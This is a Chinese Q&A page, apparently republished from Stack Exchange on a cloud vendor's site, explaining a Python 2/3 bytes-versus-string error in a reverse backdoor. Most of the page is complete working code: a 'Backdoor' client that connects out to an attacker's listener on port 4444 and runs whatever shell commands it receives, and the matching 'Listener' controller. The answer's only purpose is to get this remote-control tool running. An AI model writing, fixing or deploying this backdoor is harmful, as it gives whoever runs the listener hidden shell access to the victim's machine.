You need to enable JavaScript to run this app. Python2与3跨版本编写反向后门报bytes无法JSON序列化错误
优惠活动
大模型
产品
解决方案
定价
更多

Python2与3跨版本编写反向后门报bytes无法JSON序列化错误

报错根因

你遇到的报错完全是Python2和Python3的字符串、字节类型差异导致的,两个核心触发点:

  • Python3中subprocess.check_output默认返回bytes类型,而json.dumps无法直接序列化bytes类型数据,这是报错的直接诱因
  • Python3中socket的recv方法返回bytes、send方法要求传入bytes,和Python2中socket直接收发字符串的逻辑不兼容,你之前只改了部分编码逻辑没改全所以问题没有解决

修复方案

分两端修改代码,统一编码解码规则即可解决:

1. 本地真机(Python3环境)Backdoor端代码修改

修改三个核心方法:execute_system_command、reliable_send、reliable_receive,完整修改后代码如下:

#!/usr/bin/env python
import socket, subprocess
import json

class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        # Python3的send方法要求传入bytes,统一用utf-8编码
        self.connection.send(json_data.encode('utf-8'))

    def reliable_recieve(self):
        json_data = ""
        while True:
            try:
                # recv返回的bytes解码为字符串再拼接
                json_data = json_data + self.connection.recv(1024).decode('utf-8')
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_system_command(self, command):
        # 把subprocess返回的bytes解码为字符串,忽略编码错误避免特殊字符导致程序崩溃
        return subprocess.check_output(command, shell=True).decode('utf-8', errors='ignore')

    def run(self):
        while True:
            command = self.reliable_recieve()
            command_result = self.execute_system_command(command)
            self.reliable_send(command_result)
        self.connection.close()

my_backdoor = Backdoor("你的监听端IP", 4444)
my_backdoor.run()

2. 虚拟机(Python2环境)Listener端适配修改

同步修改收发方法的编码逻辑,避免跨版本通信出现乱码:

#!/usr/bin/env python
import socket, json


class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connection")
        self.connection, address = listener.accept()
        print("[+] Got a connection from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf-8'))

    def reliable_recieve(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024).decode('utf-8')
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)
        return self.reliable_recieve()

    def run(self):
        while True:
            command = raw_input(">> ")
            result = self.execute_remotely(command)
            print(result)


my_listener = Listener("你的虚拟机网卡IP", 4444)
my_listener.run()

内容的提问来源于stack exchange,提问作者Mohamed

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.08 01:51:01